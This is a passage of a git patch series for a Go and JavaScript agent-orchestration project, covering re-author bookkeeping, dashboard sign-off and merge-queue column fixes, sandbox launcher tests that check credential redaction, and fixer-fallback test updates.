fixer gets one more run with your note.", + "**Hand it to a person** β€” push to the branch yourself or say who takes it; the hive steps back while a human owns it.", "**Close as not planned** β€” close the PR (or *Close as not planned* under Decide… in the tracker) when the change is no longer wanted.", }, } diff --git a/src/pkg/stagelabels/reauthor_store_test.go b/src/pkg/stagelabels/reauthor_store_test.go new file mode 100644 index 0000000000..fbbc4ac38c --- /dev/null +++ b/src/pkg/stagelabels/reauthor_store_test.go @@ -0,0 +1,74 @@ +package stagelabels + +import ( + "path/filepath" + "testing" + "time" +) + +// The hive's one-per-issue re-author record (hivecommons/hive#16582): +// marked on the superseded PR's record, idempotent per head, found again +// by issue across the repo, absent for other repos, and persisted. +func TestStoreReauthored(t *testing.T) { + now := time.Date(2026, 11, 4, 12, 0, 0, 0, time.UTC) + clock := func() time.Time { return now } + st := NewStore(filepath.Join(t.TempDir(), "s.json"), clock) + key := Key("hivecommons/hive", 90) + + // Unknown key, bad issue: no-op; nothing re-authored for the issue. + st.MarkReauthored(key, 12, "aaa", 6, now) + st.MarkReauthorNoted(key) + if _, ok := st.Get(key); ok { + t.Fatal("Mark* must not create a record") + } + if st.ReauthoredFor("hivecommons/hive", 12) != 0 || (*Store)(nil).ReauthoredFor("hivecommons/hive", 12) != 0 { + t.Fatal("nothing re-authored yet") + } + + st.Observe(key, Fixing, ReauthoringReason(12)) + st.MarkReauthored(key, 0, "aaa", 6, now) + if r, _ := st.Get(key); r.Reauthored() { + t.Fatal("issue 0 must not mark") + } + st.MarkReauthored(key, 12, "aaa", 6, now) + r, _ := st.Get(key) + if !r.Reauthored() || r.ReauthorIssue != 12 || r.ReauthorHead != "aaa" || r.ReauthorAttempts != 6 || !r.ReauthoredAt.Equal(now) || r.ReauthorNoted { + t.Fatalf("record = %+v", r) + } + // Same issue+head again: unchanged (the first timestamp stands). + st.MarkReauthored(key, 12, "aaa", 7, now.Add(time.Hour)) + if r, _ = st.Get(key); r.ReauthorAttempts != 6 || !r.ReauthoredAt.Equal(now) { + t.Fatalf("second mark rewrote the record: %+v", r) + } + st.MarkReauthorNoted(key) + st.MarkReauthorNoted(key) + if r, _ = st.Get(key); !r.ReauthorNoted { + t.Fatalf("noted = %+v", r) + } + + // Lookup by issue: lowest PR in the repo wins; other repos/issues don't match. + st.Observe(Key("hivecommons/hive", 95), Fixing, "x") + st.MarkReauthored(Key("hivecommons/hive", 95), 12, "bbb", 6, now) + st.Observe(Key("acme/docs", 3), Fixing, "x") + st.MarkReauthored(Key("acme/docs", 3), 12, "ccc", 6, now) + if got := st.ReauthoredFor("HiveCommons/Hive", 12); got != 90 { + t.Fatalf("ReauthoredFor = %d, want 90", got) + } + if got := st.ReauthoredFor("hivecommons/hive", 13); got != 0 { + t.Fatalf("ReauthoredFor other issue = %d", got) + } + if got := st.ReauthoredFor("acme/docs", 12); got != 3 { + t.Fatalf("ReauthoredFor acme = %d", got) + } + + if err := st.Save(); err != nil { + t.Fatal(err) + } + again := NewStore(st.path, clock) + if err := again.Load(); err != nil { + t.Fatal(err) + } + if r, ok := again.Get(key); !ok || r.ReauthorIssue != 12 || !r.ReauthorNoted || again.ReauthoredFor("hivecommons/hive", 12) != 90 { + t.Fatalf("reloaded = %+v", r) + } +} diff --git a/src/pkg/stagelabels/store.go b/src/pkg/stagelabels/store.go index e0bd43cfc1..3161f35218 100644 --- a/src/pkg/stagelabels/store.go +++ b/src/pkg/stagelabels/store.go @@ -11,6 +11,7 @@ import ( "reflect" "slices" "sort" + "strconv" "strings" "sync" "time" @@ -99,6 +100,20 @@ type Record struct { SupersededBy int `json:"superseded_by,omitempty"` SupersededAt time.Time `json:"superseded_at,omitempty"` SupersededOpen bool `json:"superseded_open,omitempty"` + // ReauthorIssue / ReauthorHead / ReauthorAttempts / ReauthoredAt record + // that the hive re-authored this PR itself after its fixer gave up on + // ReauthorHead (hivecommons/hive: "we should not need a re-author pill + // on a hive agent's PR"): the PR was closed as superseded and a fresh + // hive PR for ReauthorIssue is opened from the current base. One + // record per issue β€” the dashboard reads the fresh PR's lineage from + // it and the engine refuses a second automatic re-author. + ReauthorIssue int `json:"reauthor_issue,omitempty"` + ReauthorHead string `json:"reauthor_head,omitempty"` + ReauthorAttempts int `json:"reauthor_attempts,omitempty"` + ReauthoredAt time.Time `json:"reauthored_at,omitempty"` + // ReauthorNoted is true once the close note was posted on the + // re-authored PR; the close itself may be retried, the note never. + ReauthorNoted bool `json:"reauthor_noted,omitempty"` // SupersededClosedFirst is true while the original was closed at // adoption time, before its copy merged (close-first supersession, // hivecommons/hive#15135). The reconciler keeps polling the copy @@ -1985,6 +2000,66 @@ func (s *Store) MarkSuperseded(key string, by int, open bool, now time.Time) { s.dirty = true } +// MarkReauthored records that the hive re-authored key itself for issue +// after its fixer gave up on head after attempts tries. Idempotent per key. +func (s *Store) MarkReauthored(key string, issue int, head string, attempts int, now time.Time) { + s.mu.Lock() + defer s.mu.Unlock() + r, ok := s.items[key] + if !ok || issue <= 0 { + return + } + if r.ReauthorIssue == issue && r.ReauthorHead == head { + return + } + r.ReauthorIssue, r.ReauthorHead, r.ReauthorAttempts, r.ReauthoredAt = issue, head, attempts, now + s.items[key] = r + s.dirty = true +} + +// MarkReauthorNoted records that the re-author close note was posted. +func (s *Store) MarkReauthorNoted(key string) { + s.mu.Lock() + defer s.mu.Unlock() + r, ok := s.items[key] + if !ok || r.ReauthorNoted { + return + } + r.ReauthorNoted = true + s.items[key] = r + s.dirty = true +} + +// Reauthored reports whether the hive re-authored this PR itself. +func (r Record) Reauthored() bool { + return r.ReauthorIssue > 0 +} + +// ReauthoredFor returns, over the store, the PR the hive already +// re-authored for repo's issue (the record's own number), or 0 when the +// issue has not been re-authored. One automatic re-author per issue. +func (s *Store) ReauthoredFor(repo string, issue int) int { + if s == nil || issue <= 0 { + return 0 + } + s.mu.Lock() + defer s.mu.Unlock() + best := 0 + for key, r := range s.items { + if r.ReauthorIssue != issue { + continue + } + rec, numText, found := strings.Cut(key, "#") + if !found || !strings.EqualFold(rec, repo) { + continue + } + if n, err := strconv.Atoi(numText); err == nil && n > 0 && (best == 0 || n < best) { + best = n + } + } + return best +} + // MarkSupersederMergedNoted records that the diverged-head note was posted // for head, so the next poll of the same head stays silent. func (s *Store) MarkSupersederMergedNoted(key, head string) { From 4af9ef2f7c2a4b04103189439a13671e4035d63d Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 13:18:57 +0000 Subject: [PATCH 68/87] =?UTF-8?q?=F0=9F=90=9B=20fix(dashboard):=20match=20?= =?UTF-8?q?viewer=20handle=20on=20a=20word=20boundary=20in=20sign-off=20qu?= =?UTF-8?q?estions=20(#16585)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dashboard): match viewer handle on a word boundary in sign-off questions Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * ci: retrigger build after transient antigravity CLI download failure The linux/amd64 image build failed with curl (92) HTTP/2 INTERNAL_ERROR fetching the antigravity CLI from storage.googleapis.com. No code change; the same step built green on v5 at the merge-base. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- changelog.d/fixed-16580-viewer-signoff-match.md | 1 + src/pkg/dashboard/stage_tracker_activity.test.js | 2 ++ src/pkg/dashboard/static-src/js/tracker-row-strip.js | 2 +- src/pkg/dashboard/static/index.html | 2 +- 4 files changed, 5 insertions(+), 2 deletions(-) create mode 100644 changelog.d/fixed-16580-viewer-signoff-match.md diff --git a/changelog.d/fixed-16580-viewer-signoff-match.md b/changelog.d/fixed-16580-viewer-signoff-match.md new file mode 100644 index 0000000000..45e8c01758 --- /dev/null +++ b/changelog.d/fixed-16580-viewer-signoff-match.md @@ -0,0 +1 @@ +- Activity Monitor: a sign-off question naming `@clubanderson-bot` or `@clubandersonx` no longer reads "needs your sign-off" to the viewer `clubanderson`; the viewer's handle is matched on a word boundary. diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index 71fcdf953f..a2ee508b03 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -771,6 +771,8 @@ test('#16484: count grammar β€” CI passed/total and Review done/total across eve try { assert.equal(review('human_decision', {}, { decision_needed: { question: '@clubanderson should decide whether to accept this workflow change from a fork.' } }), 'Review 3/5 Β· needs your sign-off', 'the ask names the viewer'); assert.equal(review('human_decision', {}, { decision_needed: { question: '@someone-else should decide.' } }), 'Review 3/5 Β· needs owner sign-off'); + for (const q of ['@clubanderson-bot should decide.', '@clubandersonx should decide.']) assert.equal(review('human_decision', {}, { decision_needed: { question: q } }), 'Review 3/5 Β· needs owner sign-off', 'a longer login is not the viewer: ' + q); + for (const q of ['@clubanderson', 'ping @clubanderson, please decide.', 'ok @ClubAnderson?']) assert.equal(review('human_decision', {}, { decision_needed: { question: q } }), 'Review 3/5 Β· needs your sign-off', 'the viewer handle ends at punctuation or the end: ' + q); } finally { delete globalThis.window; } assert.equal(review('reviewing', { actor: 'reviewer-2' }), 'Review 3/5 Β· reviewer-2 reviewing'); assert.equal(review('adjudicating', { actor: 'adjudicator' }), 'Review 3/5 Β· adjudicator reviewing'); diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index abad2076a8..bd577488fd 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -88,7 +88,7 @@ if (stageTrackerHiveOwnsRepair(item)) return count + ' Β· changes requested'; const q = item.decision_needed && item.decision_needed.question ? String(item.decision_needed.question).toLowerCase() : ''; const me = typeof window !== 'undefined' && window._hiveUser ? String(window._hiveUser).toLowerCase() : ''; - const mine = !!me && q.indexOf('@' + me) >= 0; + const mine = !!me && new RegExp('@' + me.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '(?![\\w-])').test(q); return count + (mine ? ' Β· needs your sign-off' : ' Β· needs owner sign-off'); } case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index dd7a24de25..dee85584f7 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -18193,7 +18193,7 @@ <h3 class="faq-group-title">Where to get help</h3> if (stageTrackerHiveOwnsRepair(item)) return count + ' Β· changes requested'; const q = item.decision_needed && item.decision_needed.question ? String(item.decision_needed.question).toLowerCase() : ''; const me = typeof window !== 'undefined' && window._hiveUser ? String(window._hiveUser).toLowerCase() : ''; - const mine = !!me && q.indexOf('@' + me) >= 0; + const mine = !!me && new RegExp('@' + me.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '(?![\\w-])').test(q); return count + (mine ? ' Β· needs your sign-off' : ' Β· needs owner sign-off'); } case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); From bca042c616c9578e10cc6126734b61a5e3dcda82 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 13:31:35 +0000 Subject: [PATCH 69/87] test(crux/sandbox): cover Cline provider close/validation edges in PodmanLauncher (#16587) Signed-off-by: quality <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: quality <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- src/crux/sandbox/cline_provider_edges_test.go | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 src/crux/sandbox/cline_provider_edges_test.go diff --git a/src/crux/sandbox/cline_provider_edges_test.go b/src/crux/sandbox/cline_provider_edges_test.go new file mode 100644 index 0000000000..5c884fb944 --- /dev/null +++ b/src/crux/sandbox/cline_provider_edges_test.go @@ -0,0 +1,75 @@ +package sandbox + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/hivecommons/hive/crux/cline" +) + +func TestClineProviderArgsRejectsClosedCapability(t *testing.T) { + spec, _ := clineLaunchFixture(t) + if err := spec.ClineProvider.Close(); err != nil { + t.Fatal(err) + } + if _, err := PodmanArgs(spec); err == nil || !strings.Contains(err.Error(), "closed Cline provider capability") { + t.Fatalf("closed capability produced argv: %v", err) + } +} + +func TestClineProviderCommandThinkingAndRequiredFlags(t *testing.T) { + spec, _ := clineLaunchFixture(t) + canonical := append([]string(nil), spec.Command...) + for _, level := range []string{"none", "low", "medium", "high", "xhigh"} { + spec.Command = append(append([]string(nil), canonical...), "--thinking", level) + if _, err := PodmanArgs(spec); err != nil { + t.Fatalf("--thinking %s rejected: %v", level, err) + } + } + // Every flag present is individually valid; only a required one is missing. + spec.Command = []string{"crux", cline.Subcommand, "--provider-file", cline.ProviderMountPath, + "--state-dir", cline.ProviderStatePath, "--model", "openrouter/test", "--thinking", "low"} + if _, err := PodmanArgs(spec); err == nil { + t.Fatal("command without --prompt-file accepted") + } +} + +func TestRunDefaultsToPodmanBinaryFromPath(t *testing.T) { + t.Setenv("PATH", t.TempDir()) + _, err := PodmanLauncher{}.Run(context.Background(), LaunchSpec{Image: "fixture-image", Workspace: t.TempDir()}) + if err == nil || !strings.Contains(err.Error(), "podman is required but was not found in PATH") { + t.Fatalf("expected missing-podman error, got %v", err) + } +} + +func TestRunReportsClineProviderCloseFailure(t *testing.T) { + if os.Geteuid() == 0 { + t.Skip("root ignores directory write permissions; stage removal cannot be made to fail") + } + spec, file := clineLaunchFixture(t) + binary := filepath.Join(t.TempDir(), "podman-fixture") + if err := os.WriteFile(binary, []byte("#!/bin/sh\nprintf '%s\\n' '"+fixtureCredential+"'\nexit 0\n"), 0o700); err != nil { + t.Fatal(err) + } + // Revoking write permission on the staging root makes Close()'s RemoveAll + // fail after the container ran, so Run must surface it in its error. + parent := filepath.Dir(filepath.Dir(file)) + if err := os.Chmod(parent, 0o500); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(parent, 0o700) }) + + res, err := PodmanLauncher{Binary: binary}.Run(context.Background(), spec) + if err == nil || !strings.Contains(err.Error(), "cannot remove private Cline provider stage") { + t.Fatalf("stage removal failure not reported: %v", err) + } + if res.ExitCode != 0 || !strings.Contains(res.Stdout, "[REDACTED]") || strings.Contains(res.Stdout, fixtureCredential) { + t.Fatalf("container result lost or unredacted: exit=%d stdout=%q", res.ExitCode, res.Stdout) + } + if _, statErr := os.Stat(filepath.Dir(file)); statErr != nil { + t.Fatalf("stage directory should survive the failed removal: %v", statErr) + } +} From ad59ff3af7f4bc8b9839dcc75c046e6763f90dae Mon Sep 17 00:00:00 2001 From: Andrew Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 08:38:06 -0500 Subject: [PATCH 70/87] test(cmd/hive): fixer fallback tests use a bot-shaped PR author on v6 src/cmd/hive/fixer_fallback_test.go arrived from v5 (#16541) and drives planReviewDispatch with actionableWithPR("hive-bot"). v6 gates every fix kick on fixPushAuthorOK (hivecommons/hive#13129): only a "[bot]"-suffixed login may be pushed to, so on v6 the fix was withheld and FixKicks was empty in every subtest, including the no-fallback baseline. Git merged the file cleanly because the two sides never touched the same lines. Use "hive-bot[bot]", matching v6's own review_dispatch_wiring_test.go, so the fallback routing under test is reached. Assertions are unchanged. Fixes test (rest 4/4), and thereby the dependent test and coverage jobs, on the v5 -> v6 top-up. Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- src/cmd/hive/fixer_fallback_test.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/cmd/hive/fixer_fallback_test.go b/src/cmd/hive/fixer_fallback_test.go index 6c10281730..e9a2b8b8a7 100644 --- a/src/cmd/hive/fixer_fallback_test.go +++ b/src/cmd/hive/fixer_fallback_test.go @@ -150,7 +150,7 @@ func TestReviewFixerFallbackWiring(t *testing.T) { cfg.Review.FixerFallbackAgents = nil } mgr.statuses["scanner"].KicksUndeliverable = tc.kicks - plan := planReviewDispatch(cfg, actionableWithPR("hive-bot"), mgr, nil, discardLogger()) + plan := planReviewDispatch(cfg, actionableWithPR("hive-bot[bot]"), mgr, nil, discardLogger()) if len(plan.FixKicks) != 1 || plan.FixKicks[0].Agent != tc.want { t.Fatalf("fix kicks = %+v, want one for %s", plan.FixKicks, tc.want) } @@ -165,7 +165,7 @@ func TestReviewFixerFallbackWiring(t *testing.T) { t.Fatal(err) } mgr.statuses["scanner"].KicksUndeliverable = 0 - again := planReviewDispatch(cfg, actionableWithPR("hive-bot"), mgr, nil, discardLogger()) + again := planReviewDispatch(cfg, actionableWithPR("hive-bot[bot]"), mgr, nil, discardLogger()) if len(again.FixKicks) != 0 || len(again.State.Fixes) != 1 || again.State.Fixes[0].Agent != "fixer" { t.Fatalf("recovery duplicated the pending fallback fix: %+v", again) } @@ -184,12 +184,12 @@ func TestReviewFixerFallbackAllBusyRetriesWithoutHumanHold(t *testing.T) { cfg, mgr := fallbackTestFleet() mgr.statuses["fixer"].KicksUndeliverable = 1 mgr.statuses["spare"].Paused = true - plan := planReviewDispatch(cfg, actionableWithPR("hive-bot"), mgr, nil, discardLogger()) + plan := planReviewDispatch(cfg, actionableWithPR("hive-bot[bot]"), mgr, nil, discardLogger()) if len(plan.FixKicks) != 0 || len(plan.State.Fixes) != 0 || len(plan.State.Human) != 0 { t.Fatalf("busy fleet sent a repair or created a human hold: %+v", plan) } mgr.statuses["scanner"].KicksUndeliverable = 0 - plan = planReviewDispatch(cfg, actionableWithPR("hive-bot"), mgr, nil, discardLogger()) + plan = planReviewDispatch(cfg, actionableWithPR("hive-bot[bot]"), mgr, nil, discardLogger()) if len(plan.FixKicks) != 1 || plan.FixKicks[0].Agent != "scanner" { t.Fatalf("repair did not retry after recovery: %+v", plan.FixKicks) } From 7e561e992007d21363cfafc1707bf350144b124d Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 08:41:09 -0500 Subject: [PATCH 71/87] =?UTF-8?q?=F0=9F=90=9B=20Activity=20Monitor:=20pers?= =?UTF-8?q?on-owed=20PR=20steps=20light=20PR=20in=20progress,=20not=20Merg?= =?UTF-8?q?e=20queue=20(#16593)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› Activity Monitor: person-owed PR steps light PR in progress, not Merge queue A PR parked at 085 because a person has to act on the PR itself (rerun CI, approve workflow runs, resolve a GitHub permission, answer review findings or red checks still open on its head) is not queued, merging or merge-ready. Its chevron now lights PR in progress β€” "Waiting for @who Β· rerun shared ci on GitHub", person icon kept β€” and the Merge queue column stays empty. Only rows actually queued / merging / merged, or a merge-ready PR (review approved, CI green) parked on a merge decision, sit in Merge queue. A bare 085 with no track evidence keeps the gate (#14821). - stageTrackerItemColumn (Go) / stageTrackerAnchor (JS): new stageTrackerPersonActsOnPR predicate, mirrored on both sides. - Unauthorized word/caption: "Waiting for @author Β· <step> on GitHub" (a hive / bot / clanker author yields "a maintainer"). - Nested PR rows carry unauthorized_step so the word matches. - Tests: Go table (#16524 shape and its twins) + rows fixture. Fixes #16592 Signed-off-by: Andrew Anderson <andy@clubanderson.com> * πŸ› trackerrow: sync shared tracker-row-anchor.js with the spoke copy Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/fixed-awaiting-rerun-lane.md | 1 + src/pkg/dashboard/stage_tracker.go | 9 ++- src/pkg/dashboard/stage_tracker_caption.go | 6 +- .../stage_tracker_item_column_test.go | 59 +++++++++++++++++++ src/pkg/dashboard/stage_tracker_links.go | 1 + .../stage_tracker_sentinel_lane_test.go | 3 + .../dashboard/stage_tracker_ui_rows_test.go | 36 +++++++++++ .../stage_tracker_unauthorized_test.go | 8 ++- src/pkg/dashboard/stage_tracker_vocabulary.go | 48 +++++++++++++++ .../static-src/js/tracker-row-anchor.js | 4 ++ .../static-src/js/tracker-row-layout.js | 2 +- .../static-src/js/tracker-row-render.js | 2 +- .../static-src/js/tracker-words-core.js | 38 +++++++++++- src/pkg/dashboard/static/index.html | 46 +++++++++++++-- .../trackerrow/tracker-row-anchor.js | 4 ++ src/pkg/webassets/trackerrow/trackerrow.go | 4 +- 16 files changed, 253 insertions(+), 18 deletions(-) create mode 100644 changelog.d/fixed-awaiting-rerun-lane.md diff --git a/changelog.d/fixed-awaiting-rerun-lane.md b/changelog.d/fixed-awaiting-rerun-lane.md new file mode 100644 index 0000000000..c5c62ca884 --- /dev/null +++ b/changelog.d/fixed-awaiting-rerun-lane.md @@ -0,0 +1 @@ +- Activity Monitor: a PR parked on a person who must act on the PR itself (rerun CI, approve workflow runs, resolve a GitHub permission, answer open review findings) now lights the PR in progress chevron β€” "Waiting for @who Β· rerun shared ci on GitHub" β€” and leaves the Merge queue column empty; only rows actually queued / merging, or a merge-ready PR parked on a merge decision, sit in Merge queue. diff --git a/src/pkg/dashboard/stage_tracker.go b/src/pkg/dashboard/stage_tracker.go index bad434321b..e80b8b9a44 100644 --- a/src/pkg/dashboard/stage_tracker.go +++ b/src/pkg/dashboard/stage_tracker.go @@ -487,9 +487,9 @@ type StageTrackerItem struct { // UnauthorizedStep is set when the item wears hive:unauthorized: the // step the hive's GitHub App is not permitted to take, in words // ("approve workflow runs"), from the `unauthorized:<step>` stage - // reason; the gate cell reads "Awaiting human: <step>". Unauthorized - // is the pill's tooltip naming the permission and the human action - // (hivecommons/hive#14589). + // reason; the PR in progress chevron reads "Waiting for @who Β· <step> + // on GitHub" (hive#16524). Unauthorized is the pill's tooltip naming + // the permission and the human action (hivecommons/hive#14589). UnauthorizedStep string `json:"unauthorized_step,omitempty"` Unauthorized string `json:"unauthorized,omitempty"` // DecisionNeeded is set on a row parked on a person (085 / 045 / 015, @@ -709,6 +709,9 @@ type StageTrackerLinkedPR struct { Stage int `json:"stage,omitempty"` StageSince *time.Time `json:"stage_since,omitempty"` Caption string `json:"caption,omitempty"` + // UnauthorizedStep mirrors the PR's own field so the nested chevron + // reads "Waiting for @who Β· <step> on GitHub" too (hive#16524). + UnauthorizedStep string `json:"unauthorized_step,omitempty"` // NoteChangedAt mirrors the PR row's: when the caption last changed // meaning. NoteChangedAt *time.Time `json:"note_changed_at,omitempty"` diff --git a/src/pkg/dashboard/stage_tracker_caption.go b/src/pkg/dashboard/stage_tracker_caption.go index acb7557205..9ab5b632b6 100644 --- a/src/pkg/dashboard/stage_tracker_caption.go +++ b/src/pkg/dashboard/stage_tracker_caption.go @@ -840,8 +840,10 @@ func stageTrackerCaption(stage stagelabels.Stage, reason, author string, kind st } if step, _ := stageTrackerUnauthorized(reason); step != "" { // hivecommons/hive#14589: not a decision but a step only a - // person may take; the gate cell says the same. - return joinClause("Awaiting human: "+step, clause), "maintainer" + // person may take; the PR in progress chevron says the same + // (hive#16524: it is the person's move on the PR, not a + // merge-queue matter). + return joinClause("Waiting for a maintainer Β· "+step+" on GitHub", clause), "maintainer" } if c := stageTrackerMergeTrainCaption(reason); c != "" { return c, "maintainer" diff --git a/src/pkg/dashboard/stage_tracker_item_column_test.go b/src/pkg/dashboard/stage_tracker_item_column_test.go index 5713be02bc..999ae23049 100644 --- a/src/pkg/dashboard/stage_tracker_item_column_test.go +++ b/src/pkg/dashboard/stage_tracker_item_column_test.go @@ -139,3 +139,62 @@ func TestStageTrackerFixingAfterMergeFailedColumn(t *testing.T) { t.Fatalf("linked_prs payload lacks left_train:\n%s", raw) } } + +// TestStageTrackerPersonActsOnPRColumn replays hive's own #16524: a PR +// parked at 085 under hive:unauthorized (a maintainer must rerun shared +// CI on GitHub) with CI unknown and review findings open. The ask is a +// person's move ON THE PR, so its chevron is PR in progress and the +// Merge queue column is empty β€” the gate is only for rows queued / +// merging / merged, or a merge-ready PR parked on a merge decision. +func TestStageTrackerPersonActsOnPRColumn(t *testing.T) { + head := "7879a51f276a0f9aa5adc995d9d09a74487bbcf4" + ci := func(state string) *StageTrackerActivity { return &StageTrackerActivity{Head: head, State: state} } + review := func(state string) *StageTrackerActivity { return &StageTrackerActivity{Head: head, State: state} } + live := func() StageTrackerItem { + return StageTrackerItem{Repo: "hivecommons/hive", Number: 16524, Kind: "pr", Stage: stagelabels.NeedsDecision.Number(), Head: head, + Reason: "unauthorized:rerun-shared-ci", UnauthorizedStep: "rerun shared ci", + CIActivity: ci("unknown"), ReviewActivity: review("changes_requested")} + } + cases := []struct { + name string + mut func(*StageTrackerItem) + want int + }{ + {"#16524 as served", func(*StageTrackerItem) {}, trackerColumnPR}, + {"unauthorized step, no track evidence", func(it *StageTrackerItem) { it.CIActivity, it.ReviewActivity = nil, nil }, trackerColumnPR}, + {"unauthorized step on a merge-ready head", func(it *StageTrackerItem) { it.CIActivity, it.ReviewActivity = ci("passing"), review("approved") }, trackerColumnMergeGate}, + {"decision with review findings open", func(it *StageTrackerItem) { it.Reason, it.UnauthorizedStep = "", "" }, trackerColumnPR}, + {"decision with CI red, review approved", func(it *StageTrackerItem) { + it.Reason, it.UnauthorizedStep, it.CIActivity, it.ReviewActivity = "", "", ci("failing"), review("approved") + }, trackerColumnPR}, + {"bare 085 decision keeps the gate (#14821)", func(it *StageTrackerItem) { + it.Reason, it.UnauthorizedStep, it.CIActivity, it.ReviewActivity = "", "", nil, nil + }, trackerColumnMergeGate}, + {"merge-ready decision keeps the gate", func(it *StageTrackerItem) { + it.Reason, it.UnauthorizedStep, it.CIActivity, it.ReviewActivity = "", "", ci("passing"), review("approved") + }, trackerColumnMergeGate}, + {"stale track evidence on another head is not evidence", func(it *StageTrackerItem) { + it.Reason, it.UnauthorizedStep = "", "" + it.CIActivity.Head, it.ReviewActivity.Head = "old", "old" + }, trackerColumnMergeGate}, + {"a seated train member is a Merge queue matter", func(it *StageTrackerItem) { + it.MergeTrain = &StageTrackerMergeTrain{ID: "v5#1", State: MergeGateStateQueuedBehind, Front: 1, Position: 2, Size: 2} + }, trackerColumnMergeGate}, + {"a live merge attempt is a Merge queue matter", func(it *StageTrackerItem) { it.MergeGate = &StageTrackerMergeGate{State: MergeGateStateMerging} }, trackerColumnMergeGate}, + {"an issue at 085 is unchanged", func(it *StageTrackerItem) { it.Kind = "issue" }, stageTrackerColumn(stagelabels.NeedsDecision)}, + {"070 fixing is untouched", func(it *StageTrackerItem) { it.Stage = stagelabels.Fixing.Number() }, trackerColumnReview}, + } + for _, tc := range cases { + it := live() + tc.mut(&it) + if got := stageTrackerItemColumn(&it); got != tc.want { + t.Errorf("%s: column %d, want %d", tc.name, got, tc.want) + } + } + // The caption names the step as the person's move on GitHub, never as + // a merge-queue wait. + caption, actor := stageTrackerCaption(stagelabels.NeedsDecision, "unauthorized:rerun-shared-ci", "clubanderson", "pr", false, stagelabels.Record{}, false, 0, head) + if !strings.Contains(caption, "Waiting for a maintainer Β· rerun shared ci on GitHub") || strings.Contains(caption, "Awaiting human") || actor != "maintainer" { + t.Fatalf("caption %q actor %q", caption, actor) + } +} diff --git a/src/pkg/dashboard/stage_tracker_links.go b/src/pkg/dashboard/stage_tracker_links.go index 68761b3bd5..08ddf3d1c1 100644 --- a/src/pkg/dashboard/stage_tracker_links.go +++ b/src/pkg/dashboard/stage_tracker_links.go @@ -338,6 +338,7 @@ func stageTrackerResolveLinkedPRs(items []StageTrackerItem, open func(repo strin lp.AdmittedBy, lp.DCOUnsigned, lp.DCOTotal = pr.AdmittedBy, pr.DCOUnsigned, pr.DCOTotal lp.BaseRef = pr.BaseRef lp.DecisionNeeded = pr.DecisionNeeded + lp.UnauthorizedStep = pr.UnauthorizedStep lp.SoakRemainingSeconds, lp.MergeGate = pr.SoakRemainingSeconds, pr.MergeGate lp.MergeTrain, lp.LeftTrain, lp.Overlap = pr.MergeTrain, pr.LeftTrain, pr.Overlap lp.Preparation = pr.Preparation diff --git a/src/pkg/dashboard/stage_tracker_sentinel_lane_test.go b/src/pkg/dashboard/stage_tracker_sentinel_lane_test.go index 6f50d99382..ceaed9594d 100644 --- a/src/pkg/dashboard/stage_tracker_sentinel_lane_test.go +++ b/src/pkg/dashboard/stage_tracker_sentinel_lane_test.go @@ -54,7 +54,10 @@ func stageTrackerManualMergeJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerReadyForHumanWord"), jsConstLine(t, html, "STAGE_TRACKER_HUMAN_GATED"), jsConstLine(t, html, "STAGE_TRACKER_UNAUTHORIZED_WORD"), + jsConstLine(t, html, "STAGE_TRACKER_UNAUTHORIZED_WHERE"), + jsFunc(t, html, "stageTrackerUnauthorizedWho"), jsFunc(t, html, "stageTrackerUnauthorizedWord"), + jsFunc(t, html, "stageTrackerPersonActsOnPR"), jsConstLine(t, html, "STAGE_TRACKER_ADOPTED_BY_HIVE"), jsFunc(t, html, "stageTrackerAdoptedWord"), }, "\n") diff --git a/src/pkg/dashboard/stage_tracker_ui_rows_test.go b/src/pkg/dashboard/stage_tracker_ui_rows_test.go index 4b5a77ea37..efee6c4dc9 100644 --- a/src/pkg/dashboard/stage_tracker_ui_rows_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_rows_test.go @@ -727,6 +727,42 @@ assert.ok(/<span class="ham-since( 